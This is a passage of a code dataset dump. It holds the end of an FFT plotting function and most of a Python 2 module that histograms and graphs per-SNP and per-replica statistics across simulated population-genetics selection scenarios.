fastFourierTransfomr(img):\n    f = np.fft.rfft(img)\n    fshift = np.fft.fftshift(f)\n    magnitude_spectrum = 20*np.log(np.abs(fshift))\n    \n    plt.subplot(121),plt.imshow(img, cmap = 'gray')\n    plt.title('Input Image'), plt.xticks([]), plt.yticks([])\n    plt.subplot(122),plt.imshow(magnitude_spectrum, cmap = 'gray')\n    plt.title('Magnitude Spectrum'), plt.xticks([]), plt.yticks([])\n    plt.show()\n    \n\n\n","repo_name":"mcv-m1-project-2018/team3","sub_path":"painting_retrieval - week 3/fourierTransform.py","file_name":"fourierTransform.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19130091754","text":"\n\"\"\"Flexible code for histogramming per-snp and per-replica statistics for selected SNPs in selected replicas in\nselected scenarios and/or demographies.\"\"\"\n\nfrom Operations.Shari_Operations.localize.Scenario import GetScenarios, GetSelectionScenarios\nfrom Operations.MiscUtil import Dict, compile_expr, dbg, Histogrammer, AddFileSfx, ReplaceFileExt, \\\n    MergeDicts, MakeSeq, SlurpFile, IsSeq, Sfx, MakeAlphaNum, DictGet, tmap, PrintDictDiff\nfrom Classes.DotData import DotData\nfrom Operations.Ilya_Operations.PipeRun.python.PipeRun import GetDependsOn\nfrom Operations.Shari_Operations.localize.PopConsts import AllFreqs, AllPops, AllAges, CAUSAL_POS\nfrom Operations.IDotData import IDotData\nimport operator, os, logging, contextlib, functools, collections, types, ast\nfrom itertools import izip\nimport itertools, string\nfrom UserDict import DictMixin\nimport matplotlib\nmatplotlib.use('agg')\nimport matplotlib.pyplot as pp\nimport numpy as np\nimport math\nimport traceback as tb\n\n\n__all__ = ( 'gatherCausalFreqs', 'DefineRulesTo_gatherCausalFreqs', 'histogramSnpStatistic', 'histogramReplicaStatistic',\n            'AddUpHistograms', 'GraphHistograms', 'GraphCumulPlots', 'DefineRulesTo_histogramSnpStatistic',\n            'DefineRulesTo_histogramReplicaStatistic', 'findReplicasMatchingConds', 'findSnpsMatchingConds',\n            'identifyReplicasMeetingConds', 'splitSnpStatsFile',\n            'DefineRulesTo_identifyReplicasMeetingCommonConds' )\n\ndef gatherCausalFreqs( scen, Ddata, simsOut, thinSfx, thinExt, nreplicas, getio = None ):\n    \"\"\"For all replicas within one scenario, gather some useful summary info for each replica:\n    e.g. that replica's modern-day frequency of the causal allele, the genetic map position of the\n    causal SNP, number of SNPs in the replica, the range of the genetic map, etc.\n    \"\"\"\n\n    #hm3big/simsOutHm3big/10ky/sel100_1/\n    simScenDir = Ddata + '/' + simsOut + thinSfx + '/' + scen.scenDir()\n    statScenDir = Ddata + '/replicastats' + thinSfx + '/' + scen.scenDir()\n\n    posFileNames = [ simScenDir + '/' + '%d_%s.pos-%d%s' % ( replicaNum, scen.scenName(), scen.mutPop, thinExt )\n                     for replicaNum in range( nreplicas ) ] if not scen.is_neutral() else []\n\n    replicaInfoFileName = statScenDir + '/replicaStats.tsv' \n\n    if getio: return dict( depends_on = posFileNames, creates = replicaInfoFileName,\n                           mediumRuleNameSfx = scen )\n\n    causalAlleleFreqs = [ ]\n    replicaNums = [ ]\n\n    selpos = 500000\n\n    okReplicas = 0\n\n    for replicaNum in range( nreplicas ):\n        if scen.is_neutral(): causalFreq = np.nan\n        else:\n            posFile = DotData( SVPath = posFileNames[ replicaNum ], SVSkipFirstLines = 1, SVHeader = False,\n                               names = ['SNP','CHROM', 'CHROM_POS', 'ALLELE1', 'FREQ1', 'ALLELE2', 'FREQ2' ] )\n            causalLine = posFile[ posFile.CHROM_POS == selpos ]\n            assert len( causalLine ) == 1\n            causalFreq = causalLine[0].FREQ1\n        causalAlleleFreqs.append( causalFreq )\n        replicaNums.append( replicaNum )\n\n    DotData( names = [ 'replicaNum', 'causalAlleleFreq', 'targetCausalFreq' ],\n             Columns = [ replicaNums, causalAlleleFreqs,\n                         (( 0 if scen.isNeutral() else scen.mutFreq),)*nreplicas ] ).saveToSV( replicaInfoFileName )\n\ndef gatherReplicaGDstats( scen, Ddata, simsOut, thinSfx, thinExt, nreplicas, getio = None ):\n    \"\"\"For all replicas within each scenario, gather some genetic map-related info for each replica:\n    e.g. the genetic map position of the\n    causal SNP, the range of the genetic map, etc.\n    \"\"\"\n\n    #hm3big/simsOutHm3big/10ky/sel100_1/\n    simScenDir = os.path.join( Ddata, simsOut + thinSfx, scen.scenDir() )\n    statScenDir = os.path.join( Ddata,  'replicastats' + thinSfx, scen.scenDir() )\n\n    posFileNames = [ simScenDir + '/' + '%d_%s.pos-%d%s' % ( replicaNum, scen.scenName(), scen.mutPop, thinExt )\n                     for replicaNum in range( nreplicas ) ] if not scen.is_neutral() else []\n\n    replicaInfoFileName = statScenDir + '/replicaStats.tsv' \n\n    if getio: return dict( depends_on = posFileNames, creates = replicaInfoFileName,\n                           mediumRuleNameSfx = scen )\n\n    causalAlleleFreqs = [ ]\n    replicaNums = [ ]\n\n    selpos = 500000\n\n\n\n    \n    \ndef DefineRulesTo_gatherCausalFreqs( pr, Ddata, simsOut = 'simsOut',\n                                     mutAges = AllAges, mutPops = AllPops, mutFreqs = AllFreqs,\n                                     thinSfx = '', thinExt = '', nreplicas = 100 ):\n    \"\"\"Define rules to gather per-replica statistics\"\"\"\n\n    for scen in GetScenarios( mutAges, mutPops, mutFreqs ):\n\n        pr.addInvokeRule( invokeFn = gatherReplicaStats,\n                          invokeArgs = Dict( 'scen Ddata simsOut thinSfx thinExt nreplicas' ) )\n\n\n# for compatibility with old code\ngatherReplicaStats = gatherCausalFreqs\nDefineRulesTo_gatherReplicaStats = DefineRulesTo_gatherCausalFreqs\n        \n        \ndef histogramSnpStatistic( Ddata, thinSfx, scenDir, replicaTables, replicaCond, snpTables, snpCond, snpStat,\n                           outFile, nreplicas, binSize, binShift = 0.0, sfx = None, scenSfx = None, getio = None ):\n    \"\"\"Compute histogram of $snpStat for snps matching $snpCond in replicas matching $replicaCond in scenario $scenDir.\n\n    Params:\n\n       statTable - the name of the per-snp statistics table.  we assume there is a file called\n          Ddata/snpstats/scenDir/statTable_pop.tsv for each scenario.\n\n       statCol - column name to histogram.\n       \n    \"\"\"\n\n    replicaTables = MakeSeq( replicaTables )\n    snpTables = MakeSeq( snpTables )\n    \n    replicaCondExpr = compile_expr( replicaCond )\n    snpCondExpr = compile_expr( snpCond )\n    snpStatExpr = compile_expr( snpStat )\n\n    outFile = AddFileSfx( outFile, sfx )\n    outFileStats = AddFileSfx( outFile, 'stats' )\n    \n    if IsSeq( scenSfx ): scenSfx = dict( scenSfx )\n    \n    replicaTableFiles = [ os.path.join( Ddata, 'replicastats' + thinSfx, scenDir,\n                                        replicaTable + ( '.tsv' if '.' not in replicaTable else '' ) )\n                          for replicaTable in replicaTables ]\n\n    snpTableFiles = [ os.path.join( Ddata,  'snpStats' + thinSfx, scenDir,\n                                    AddFileSfx( snpTable + ( '.tsv' if '.' not in snpTable else '' ),\n                                                scenSfx if isinstance( scenSfx, types.StringTypes )\n                                                else scenSfx[ os.path.splitext( snpTable )[0] ] ) )\n                      for snpTable in snpTables ]\n\n    #dbg('replicaTableFiles snpTableFiles')\n    #dbg('\"*****\" replicaTableFiles+snpTableFiles')\n    replicaTableFiles = [ f + '/' if f.endswith('.data') else f for f in replicaTableFiles ]\n    snpTableFiles = [ f + '/' if f.endswith('.data') else f for f in snpTableFiles ]\n\n    snpTables = [ os.path.splitext(snpTable)[0] for snpTable in snpTables ]\n\n    if getio: return dict( depends_on = replicaTableFiles + snpTableFiles,\n                           creates = ( outFile, AddFileSfx( outFile, 'stats' ) ),\n                           attrs = Dict( 'scenDir snpCond replicaCond snpStat' ),\n                           mediumRuleNameSfx = ( scenDir, scenSfx ) )\n    \n    replicaTableVals = [ DotData( SVPath = f ) for f in replicaTableFiles ]\n\n    replicasToUse = [ eval( replicaCondExpr, globals(), dict( zip( replicaTables, replicaTableRows ) ) )\n                      for replicaTableRows in izip( *replicaTableVals ) ]\n\n    #dbg( 'sum(replicasToUse)' )\n\n    snpTableVals = [ IDotData( SVPath = f ) for f in snpTableFiles ]\n\n    histogramBuilder = Histogrammer( binSize = binSize, binShift = binShift )\n\n    lastReplica = np.nan\n    for snpTableRows in izip( *snpTableVals ):\n        r0 = snpTableRows[ 0 ]\n        assert all([ r.Chrom == r0.Chrom for r in snpTableRows ]) or all([ np.isnan( r.Chrom ) for r in snpTableRows ])\n        assert all([ r.Pos == r0.Pos for r in snpTableRows ])\n        \n        replica = int( r0.Chrom ) if not np.isnan( r0.Chrom ) else -1\n        useThisReplica = not replicaTables or replicasToUse[ replica ]\n        if replica != lastReplica: dbg( 'replica useThisReplica histogramBuilder.getNumVals()' )\n        if useThisReplica:\n            snpDict = dict( zip( snpTables, snpTableRows ) )\n            if eval( snpCondExpr, globals(), snpDict ):\n                val = eval( snpStatExpr, globals(), snpDict )\n                histogramBuilder.addVal( val )\n        lastReplica = replica\n\n    logging.info('saving histogram to ', outFile )\n        \n    histogramBuilder.save( outFile )\n\n\ndef histogramReplicaStatistic( Ddata, thinSfx, replicaCond, replicaStat,\n                               outFile, nreplicas, binSize, scenCond = 'True',\n                               replicaTables = None,\n                               scen2sfxs = {}, allScens = GetScenarios(),\n                               sfx = None,  replicaCondSfx = '',\n                               nameSfx = '', getio = None ):\n    \"\"\"Compute histogram of $replicaStat for replicas matching $replicaCond in scenarios matching $scenCond.\n\n    Saves the histogram as well as overall stats about the values of this statistic, e.g. the average.\n\n    Params:\n\n       statTable - the name of the per-snp statistics table.  we assume there is a file called\n          Ddata/snpstats/scenDir/statTable_pop.tsv for each scenario.\n\n       statCol - column name to histogram.\n\n    \"\"\"\n\n    outFile = AddFileSfx( outFile, sfx, replicaCondSfx )\n    outFileStats = AddFileSfx( outFile, 'stats' )\n\n    args = Dict( 'Ddata thinSfx replicaTables scenCond replicaCond scen2sfxs allScens' )\n    if getio: return dict( depends_on =\n                           findReplicasMatchingConds( getio = True, **args )[ 'depends_on' ],\n                           creates = ( outFile, outFileStats ),\n                           mediumRuleNameSfx = sfx, attrs = dict( piperun_short = True ),\n                           name = 'histogramReplicaStatistic' + Sfx( nameSfx ) )\n    \n    histogramBuilder = Histogrammer( binSize = binSize )\n    histogramBuilder.addVals( findReplicasMatchingConds( showHeadings = 'val', showVals = replicaStat, **args ).val )\n    histogramBuilder.save( outFile )\n\n\ndef histogramSnpStatistic2( Ddata, thinSfx, snpTables, snpCond, snpCondSfx, replicaTables, replicaCond, replicaStat,\n                            outFile, nreplicas, binSize, scenCond = 'True',\n                            scen2sfxs = {}, allScens = GetScenarios(),\n                            sfx = None,  replicaCondSfx = '',\n                            nameSfx = '', getio = None ):\n    \"\"\"Compute histogram of $replicaStat for replicas matching $replicaCond in scenarios matching $scenCond.\n\n    Saves the histogram as well as overall stats about the values of this statistic, e.g. the average.\n\n    Params:\n\n       statTable - the name of the per-snp statistics table.  we assume there is a file called\n          Ddata/snpstats/scenDir/statTable_pop.tsv for each scenario.\n\n       statCol - column name to histogram.\n\n    \"\"\"\n\n    outFile = AddFileSfx( outFile, sfx, replicaCondSfx, snpCondSfx )\n    outFileStats = AddFileSfx( outFile, 'stats' )\n\n    args = Dict( 'Ddata thinSfx snpTables snpCond replicaTables scenCond replicaCond scen2sfxs allScens' )\n    if getio: return dict( depends_on =\n                           finSnpsMatchingConds( getio = True, **args )[ 'depends_on' ],\n                           creates = ( outFile, outFileStats ),\n                           mediumRuleNameSfx = sfx, attrs = dict( piperun_short = True ),\n                           name = 'histogramReplicaStatistic' + Sfx( nameSfx ) )\n    \n    histogramBuilder = Histogrammer( binSize = binSize )\n    histogramBuilder.addVals( findSnpsMatchingConds( showHeadings = 'val', showVals = snpStat, **args ).val )\n    histogramBuilder.save( outFile )\n\n\n    \ndef AddUpHistograms( histFiles, outFile, getio = None ):\n    \"\"\"Add up histograms from separate files, write results to new file\"\"\"\n\n    outFileStats = AddFileSfx( outFile, 'stats' )\n    if getio: return dict( depends_on = histFiles, creates = ( outFile, outFileStats ),\n                           attrs = dict( piperun_short = True ) )\n\n    sumHist = reduce( operator.add, map( Histogrammer.load, histFiles ) )\n    sumHist.save( outFile )\n    \ndef GraphHistograms( histFiles, outFile = None, xlabel = '', ylabel = '', title = '',\n                     labels = (), colors = 'brcmygkbrcmygkbrcmygkbrcmygk',\n                     relWidth = 0.4,\n                     xbound = None, ybound = None, coarsenBy = None, sfx = '',\n                     ticksCoarsen = 1, log = False, normed = False,\n                     cumulative = False,\n                     cumulativeUpTo = None,\n                     figSize = (24, 12 ),\n                     subplots_adjust = {},\n                     getio = None ):\n    \"\"\"Plot one or more histograms sharing the same bins.\n\n    Params:\n\n       normalizeHistograms - if true, for each histogram on the y-axis we plot not the number of\n          items in a given bin, but their fraction out of the total number of items in that histogram.\n          This lets us compare different histograms.\n\n    \"\"\"\n\n    #dbg( '\"at_first\" labels' )\n\n    # ( if the bins of one are strictly finer than bins of other, i.e. if they form a DAG in this\n    # relationship, then we can still do the graph).\n\n    histFiles = MakeSeq( histFiles )\n\n    if not outFile:\n        assert len( histFiles ) == 1\n        outFile = ReplaceFileExt( histFiles[0], '.png' )\n\n    outFile = AddFileSfx( outFile, sfx )\n\n    if not labels: labels = [ os.path.splitext( os.path.basename( f ) )[0] for f in histFiles ]\n\n    if getio: return dict( depends_on = histFiles, creates = outFile,\n                           mediumRuleNameSfx = sfx,\n                           attrs = dict( piperun_short = True ) )\n\n\n    pp.figure(1, figsize = figSize )\n    #pp.clf()\n    \n    pp.subplots_adjust( **MergeDicts( dict( hspace = 0.3, bottom = 0.15 ), subplots_adjust ) )\n\n    for which, cumulative in enumerate( ( True, False ) ):\n\n        pp.subplot( 2, 1, which + 1 )\n\n        pp.xlabel( xlabel )\n        pp.ylabel( ylabel )\n\n        pp.hold( True )\n\n        binSize = None\n        binShift = None\n        theLabels = []\n        theHandles = []\n\n        hists = map( Histogrammer.load, histFiles )\n        if coarsenBy: hists = [ hist.coarsenBy( coarsenBy ) for hist in hists ]\n        allBinIds = reduce( operator.concat, [ hist.bin2count.keys() for hist in hists ] )\n        if not allBinIds: allBinIds = ( 0, )\n        minBinId = min( allBinIds )\n        maxBinId = max( allBinIds ) + 1\n\n        if cumulativeUpTo is not None:\n            maxBinId = min( maxBinId, max( [ hist.getCumulativeBinFor( cumulativeUpTo ) for hist in hists ] ) ) + 1\n\n        for color, label, ( histFileNum, hist ) in zip( colors, labels, enumerate( hists ) ):\n\n            # check that all histograms we're loading have the same bins\n            if binSize is None: binSize = hist.binSize\n            else: assert abs( hist.binSize - binSize ) < 1e-12\n            if binShift is None: binShift = hist.binShift\n            else: assert abs( hist.binShift - binShift ) < 1e-12\n\n            width = binSize * relWidth / len( histFiles )\n\n            left = np.array( hist.getAllBinLefts( minBinId = minBinId, maxBinId = maxBinId ) ) + histFileNum * width\n\n            if histFileNum == 0: pp.xticks( [ x for i, x in enumerate( left ) if i % ticksCoarsen == 0 ] )\n\n            height = hist.getAllBinCounts( normed = normed, cumulative = cumulative,\n                                           minBinId = minBinId, maxBinId = maxBinId )\n\n            rects = pp.bar( height = height,\n                            width = width * 0.95, **Dict( 'left color log' ) )\n            if rects:\n                labelHere = label + ' (%d values)' % hist.getNumVals()\n                if hist.getNumNaNs(): labelHere += ' (%d nans)' % hist.getNumNaNs()\n                if hist.getNumInfs(): labelHere += ' (%d infs)' % hist.getNumInfs()\n                rects[ 0 ].set_label( labelHere )\n                theLabels.append( labelHere )\n                theHandles.append( rects[0] )\n\n        pp.title( title )\n        if theLabels and theHandles:\n            pp.figlegend( loc = 'lower center', labels = theLabels, handles = theHandles )\n        if xbound: pp.gca().set_xbound( *xbound )\n        if ybound: pp.gca().set_ybound( *ybound )\n\n    pp.savefig( outFile )\n\n\ndef GraphCumulPlots( histFiles, outFile = None, xlabel = '', ylabel = '', title = '',\n                     labels = (), colors = 'brcmygkbrcmygkbrcmygkbrcmygk',\n                     relWidth = 0.4,\n                     xbound = None, ybound = None, coarsenBy = None, sfx = '',\n                     ticksCoarsen = 1, log = False, normed = True,\n                     getio = None ):\n    \"\"\"Plot one or more cumulative plots.\n    \"\"\"\n\n    # ( if the bins of one are strictly finer than bins of other, i.e. if they form a DAG in this\n    # relationship, then we can still do the graph).\n\n    histFiles = MakeSeq( histFiles )\n\n    if not outFile:\n        assert len( histFiles ) == 1\n        outFile = ReplaceFileExt( histFiles[0], '.png' )\n\n    if not labels: labels = [ os.path.splitext( os.path.basename( f ) )[0] for f in histFiles ]\n\n    outFileTable = outFile + '.points.tsv'\n    \n    if getio: return dict( depends_on = histFiles, creates = ( outFile, outFileTable ),\n                           mediumRuleNameSfx = sfx,\n                           attrs = dict( piperun_short = True ) )\n\n\n    pp.figure(1, figsize = (18,6) )\n    #pp.clf()\n\n    pp.subplots_adjust( bottom = 0.37 )\n\n    pp.xlabel( xlabel + '\\n\\n\\n\\n' )\n    pp.ylabel( ylabel )\n\n    pp.hold( True )\n\n    binSize = None\n    theLabels = []\n    theHandles = []\n\n    for color, label, ( histFileNum, histFile ) in zip( colors, labels, enumerate( histFiles ) ):\n\n        hist = Histogrammer.load( histFile )\n\n        if coarsenBy: hist = hist.coarsenBy( coarsenBy )\n\n        if not binSize: binSize = hist.binSize\n        else:\n            if not abs( hist.binSize - binSize ) < 1e-12:\n                dbg( 'hist.binSize binSize hist.binSize-binSize' )\n            assert abs( hist.binSize - binSize ) < 1e-12\n\n        binLefts = hist.getBinLefts()\n        \n        if histFileNum == 0: pp.xticks( [ x for i, x in enumerate( binLefts ) if i % ticksCoarsen == 0 ] )\n\n        binCounts = hist.getBinCounts( normed = normed, cumulative = True )\n        rects = pp.plot( binLefts, binCounts, label = label, color = color )\n\n        DotData( names = ( 'binLefts', 'binCounts' ), Columns = ( binLefts, binCounts ) ).saveToSV( outFileTable )\n\n        if rects:\n            theLabels.append( label )\n            theHandles.append( rects )\n        \n    pp.title( title )\n\n    if theLabels and theHandles:\n        pp.figlegend( loc = 'lower center', labels = theLabels, handles = theHandles )\n    if xbound: pp.gca().set_xbound( *xbound )\n    if ybound: pp.gca().set_ybound( *ybound )\n\n    pp.savefig( outFile )\n\ndef DefineRulesTo_histogramSnpStatistic( pr, Ddata,\n                                         outFile, snpTables, snpStat, binSize,\n                                         binShift = 0.0,\n                                         scen2sfxs = lambda scen: '',\n                                         scenCond = 'True',\n                                         allScens = GetScenarios(),\n                                         nreplicas = 100, thinSfx = '', replicaTables = (),\n                                         replicaConds = 'True', replicaCondsSfxs = '',\n                                         snpConds = 'True', snpCondsSfxs = '', title = '', titlePrefix = '',\n                                         xlabel = '', ylabel = '',\n                                         xbound = None, ybound = None, log = False, coarsenBy = None, sfx = '',\n                                         ticksCoarsen = 1, cumulative = False, normed = False,\n                                         colors = 'brcmygkbrcmygkbrcmygkbrcmygk',\n                                         subplots_adjust = {},\n                                         name = None ):\n    \"\"\"A generic way to plot the distribution of some per-snp statistics for some subset of SNPs.\n\n    Params:\n\n       statTable - the name of the per-snp statistics table.  we assume there is a file called\n          Ddata/snpstats/scenDir/statTable_pop.tsv for each scenario.\n\n       statCol - column name to histogram.\n\n    Notes:\n\n       - for histogramming should not need to load it all into memory.  can do a pre-pass to just get\n       the range of values, define the bins, then do a second pass to count what goes in what bin.\n\n       could also add bins as we go.  so, really just need to know bin size, and then can do all this\n       with one pass.  can also, later, make this automatically parallelized.\n       \n    \"\"\"\n\n    if not os.path.dirname( outFile ): outFile = os.path.join( Ddata, outFile )\n    \n    scenCondExpr = compile_expr( scenCond )\n\n    replicaConds = MakeSeq( replicaConds )\n    replicaCondsSfxs = MakeSeq( replicaCondsSfxs )\n    \n    snpConds = MakeSeq( snpConds )\n    snpCondsSfxs = MakeSeq( snpCondsSfxs )\n\n    totaledHistFiles = []\n    totaledLabels = []\n\n    outFile = AddFileSfx( outFile, sfx )\n    \n    baseOutFile = outFile\n\n    for replicaCond, replicaCondSfx in zip( replicaConds, replicaCondsSfxs ):\n        for snpCond, snpCondSfx in zip( snpConds, snpCondsSfxs ):\n    \n            histFiles = []\n\n            for scen in allScens:\n\n                if not eval( scenCondExpr, globals(), ScenAttrs( scen ) ): continue\n\n                scenDir = scen.scenDir()\n\n                for scenSfx in MakeSeq( scen2sfxs( scen ) if callable( scen2sfxs ) else scen2sfxs[ scen ] ):\n\n                    histOutFile = os.path.join( Ddata, 'hist', scenDir,\n                                                AddFileSfx( ReplaceFileExt( os.path.basename( outFile ), '.tsv' ),\n                                                            snpStat, \n                                                            replicaCondSfx, snpCondSfx, scenSfx, sfx ) )\n\n                    rule = pr.addInvokeRule( invokeFn = histogramSnpStatistic,\n                                             invokeArgs =\n                                             dict( outFile = histOutFile,\n                                                   **Dict( 'Ddata thinSfx replicaTables replicaCond snpTables snpCond '\n                                                           'snpStat nreplicas binSize binShift scenDir scenSfx sfx' ) ),\n                                             name = name,\n                                             comment = 'Compute distribution of ' + snpStat\n                                             + ' for SNPs matching ' + snpCond + ' in replicas matching ' + replicaCond )\n                    histFiles.append( histOutFile )\n\n            totaledHistFile = os.path.join( Ddata, 'hist',\n                                            AddFileSfx( ReplaceFileExt( os.path.basename( outFile ), '.tsv' ),\n                                                        snpCondSfx, replicaCondSfx, sfx ) )\n            totaledHistFiles.append( totaledHistFile )\n\n            totaledLabel = ''\n            if replicaCondSfx:\n                totaledLabel += replicaCondSfx + ' replicas' + ( (' (' + replicaCond + ') ') \\\n                                                                     if replicaCond != 'True' else '' )\n            if snpCondSfx: totaledLabel += snpCondSfx + ' SNPs' + ( (' (' + snpCond + ') ') \\\n                                                                        if snpCond != 'True' else '' )\n            \n            totaledLabels.append( totaledLabel )\n            \n            pr.addInvokeRule( invokeFn = AddUpHistograms, invokeArgs = dict( histFiles = histFiles,\n                                                                             outFile = totaledHistFile ),\n                              mediumRuleNameSfx = ( sfx, snpStat, replicaCondSfx, snpCondSfx ), name = 'AddUpSnpHists',\n                              fileDescrs = { 0:\n                                                 ( 'Distribution of <b>' + snpStat + '</b> among '\n                                                   + ( 'all SNPs' if snpCond == 'True'\n                                                       else ' snps matching <em>' + snpCond + '</em>' )\n                                                   + ' in '\n                                                   + ( 'all replicas' if replicaCond == 'True' else\n                                                       'replicas matching <em>' + replicaCond + '</em>' )\n                                                   + ' in '\n                                                   + ( 'all scenarios' if scenCond == 'True' else\n                                                       'scenarios matching <em>' + scenCond + '</em>' ),\n                                                   ( ( 'count', 'Number of SNPs with ' + snpStat + ' in given bin' ),) ) } )\n\n\n    if not title:\n        title = 'Histogram of ' + snpStat + '\\n'\n        if scenCond != 'True': title += ' scenCond: ' + scenCond\n        if any( replicaCond != 'True' for replicaCond in replicaConds ):\n            title += ' replicaConds: ' + ', '.join(replicaCondsSfxs)\n        if any( snpCond != 'True' for snpCond in snpConds ): title += ' snpConds: ' + ', '.join(snpCondsSfxs)\n    title = titlePrefix + title\n\n    if not ylabel: ylabel = ('#' if not normed else 'fraction') + ' of snps'\n    if not xlabel: xlabel = snpStat\n            \n    pr.addInvokeRule( invokeFn = GraphHistograms,\n                      mediumRuleNameSfx = (snpStat,) + tuple(replicaCondsSfxs) + tuple(snpCondsSfxs),\n                      name = 'GraphSnpHists',\n                      invokeArgs = dict( histFiles = totaledHistFiles, labels = totaledLabels,\n                                         **Dict( 'xlabel ylabel title xbound ybound coarsenBy log outFile '\n                                                 'cumulative normed ticksCoarsen colors' ) ),\n                      attrs = Dict( 'snpStat replicaConds snpConds scenCond subplots_adjust' ) )\n    \n    \ndef DefineRulesTo_histogramReplicaStatistic( pr, Ddata,\n                                             outFile, replicaStat, binSize,\n                                             scenCond = 'True',\n                                             replicaTables = None,\n                                             sfx = '',\n                                             scen2sfxs = lambda scen: '',\n                                             allScens = tuple( GetScenarios() ),\n                                             nreplicas = 100, thinSfx = '', \n                                             replicaConds = 'True', replicaCondsSfxs = '',\n                                             title = '', titlePrefix = '',\n                                             xlabel = '', ylabel = '',\n                                             xbound = None, ybound = None, log = False, coarsenBy = None,\n                                             ticksCoarsen = 1, cumulative = False, normed = False,\n                                             cumulativeUpTo = 0.99,\n                                             subplots_adjust = {},\n                                             name = None, nameSfx = '' ):\n    \"\"\"Define rules to plot the distribution of a specified per-replica statistic for some subsets of replicas\n    in some subset of scenarios.\n\n    Params:\n\n       pr - the PipeRun object to which the rules should be added\n       Ddata - the root folder of the genetic data in simulations format\n       outFile - the filename to which the histogram plot will be written\n       replicaTables - names of tables containing per-replica values.  For each such table T,\n         there must be a file of the form os.path.join( Ddata, replicastats, scenario.scenDir(), T + '.tsv' )\n         giving some values for each replica in the scenario.\n       replicaStat - a Python expression in which the names in replicaTables may appear as variables, and refer\n         to a named tuple representing the replica's row in the corresponding replicaTable.\n\n    Notes:\n\n       - for histogramming should not need to load it all into memory.  can do a pre-pass to just get\n       the range of values, define the bins, then do a second pass to count what goes in what bin.\n\n       could also add bins as we go.  so, really just need to know bin size, and then can do all this\n       with one pass.  can also, later, make this automatically parallelized.\n       \n    \"\"\"\n\n    if not os.path.dirname( outFile ): outFile = os.path.join( Ddata, outFile )\n    \n    scenCondExpr = compile_expr( scenCond )\n    ourScens = [ scen for scen in allScens if eval( scenCondExpr, globals(), ScenAttrs( scen ) ) ]\n\n    if callable( scen2sfxs ):\n        scen2sfxs = dict( ( scen, scen2sfxs( scen ) ) for scen in ourScens )\n\n    replicaConds = MakeSeq( replicaConds )\n    replicaCondsSfxs = MakeSeq( replicaCondsSfxs )\n\n    totaledHistFiles = []\n    totaledLabels = []\n\n    for replicaCond, replicaCondSfx in zip( replicaConds, replicaCondsSfxs ):\n        \n        totaledHistFile = os.path.join( Ddata, 'hist',\n                                        ReplaceFileExt( os.path.basename( outFile ), '.tsv' ) )\n\n        totaledLabels.append( replicaCondSfx + ': ' + replicaCond )\n            \n        r = pr.addInvokeRule( invokeFn = histogramReplicaStatistic,\n                              invokeArgs = Dict( 'Ddata thinSfx replicaTables replicaCond replicaStat nreplicas '\n                                                 'binSize scenCond scen2sfxs allScens nameSfx sfx replicaCondSfx',\n                                                 outFile = totaledHistFile ),\n                              mediumRuleNameSfx = ( replicaStat, replicaCondSfx, sfx ),\n                              fileDescrs = { 0:\n                                                 ( 'Distribution of <b>' + replicaStat + '</b> among '\n                                                   + ( 'all replicas' if replicaCond == 'True' else\n                                                       'replicas matching <em>' + replicaCond + '</em>' )\n                                                   + ' in '\n                                                   + ( 'all scenarios' if scenCond == 'True' else\n                                                       'scenarios matching <em>' + scenCond + '</em>' ),\n                                                   ( ( 'count', 'Number of replicas with ' + replicaStat +\n                                                       ' in given bin' ),\n                                                     )) } )\n        totaledHistFiles.append( r.creates[0] )\n\n    if not title:\n        if scenCond != 'True': title += ' scenCond: ' + scenCond\n        if len( replicaConds ) == 1 and replicaConds[0] != 'True': title += ' replicaCond: ' + replicaConds[0]\n    title = titlePrefix + title\n\n    if not ylabel: ylabel =  ('#' if not normed else 'fraction') + ' of replicas'\n    if not xlabel: xlabel = replicaStat\n\n    pr.addInvokeRule( invokeFn = GraphHistograms,\n                      invokeArgs = dict( histFiles = totaledHistFiles, labels = totaledLabels,\n                                         **Dict( 'xlabel ylabel title xbound ybound coarsenBy log outFile '\n                                                 'sfx ticksCoarsen cumulative normed cumulativeUpTo' ) ),\n                      name = 'GraphReplicaHists' + Sfx( nameSfx ),\n                      mediumRuleNameSfx = ( replicaStat, sfx ) + tuple( replicaConds ),\n                      attrs = Dict( 'replicaStat sfx subplots_adjust' ) )\n\n    return totaledHistFiles\n    \n\ndef identifyReplicasMeetingConds( Ddata, scenario, replicaTables, replicaConds, condsFileFN, nreplicas,\n                                  thinSfx = '', getio = None ):\n    \"\"\"Given a list of named replica conditions, determine for each replica which conditions it meets, and\n    write out the result in an easy-to-access format.\n\n    Input params:\n\n      replicaConds - sequence of pairs of the form ( condName, cond ) -- for example,\n         ( ( 'hi', 'replicaStats.causalAlleleFreq >= .5' ), ( 'lo', 'replicaStats.causalAlleleFreq < .5' ) )\n    \"\"\"\n\n    replicaTables = MakeSeq( replicaTables )\n\n    replicaTableFiles = [ os.path.join( Ddata, 'replicastats' + thinSfx, scenario.scenDir(),\n                                        replicaTable + ( '.tsv' if not os.path.splitext( replicaTable )[1] else '' ) )\n                          for replicaTable in replicaTables ]\n\n    if not os.path.dirname( condsFileFN ): condsFileFN = os.path.join( Ddata, 'replicastats' + thinSfx, scenario.scenDir(),\n                                                                       condsFileFN )\n\n    if getio: return dict( depends_on = replicaTableFiles, creates = condsFileFN, mediumRuleNameSfx = scenario.scenDir(),\n                           attrs = dict( piperun_short = True,\n                                         condNames = ', '.join( map( operator.itemgetter( 0 ), replicaConds ) ) ) )\n    \n    replicaTableVals = [ DotData( SVPath = f ) for f in replicaTableFiles ]\n\n    assert all([ len( replicaTableVal ) == nreplicas for replicaTableVal in replicaTableVals ])\n\n    matchingReplicas = []\n    \n    for replicaCond in map( operator.itemgetter( 1 ), replicaConds ):\n        replicaCondExpr = compile_expr( replicaCond )\n        replicasToUse = [ int( eval( replicaCondExpr, globals(), dict( zip( replicaTables, replicaTableRows ) ) ) )\n                          for replicaTableRows in izip( *replicaTableVals ) ]\n        matchingReplicas.append( replicasToUse )\n\n    Records = []\n    condNames = tuple( map( operator.itemgetter( 0 ), replicaConds ) )\n    for replicaNum, condResults in enumerate( izip( *matchingReplicas ) ):\n        Records.append( ( replicaNum, ','.join( replicaCondName for condNum, replicaCondName\n                                                in enumerate( condNames )\n                                                if condResults[ condNum ]  ) )\n                        + condResults )\n    IDotData( names = ( 'replicaNum', 'matchingConds' ) + condNames, Records = Records ).save( condsFileFN )\n\ndef DefineRulesTo_identifyReplicasMeetingCommonConds( pr, Ddata, thinSfx = '', allScens = GetSelectionScenarios(),\n                                                      nreplicas = 100 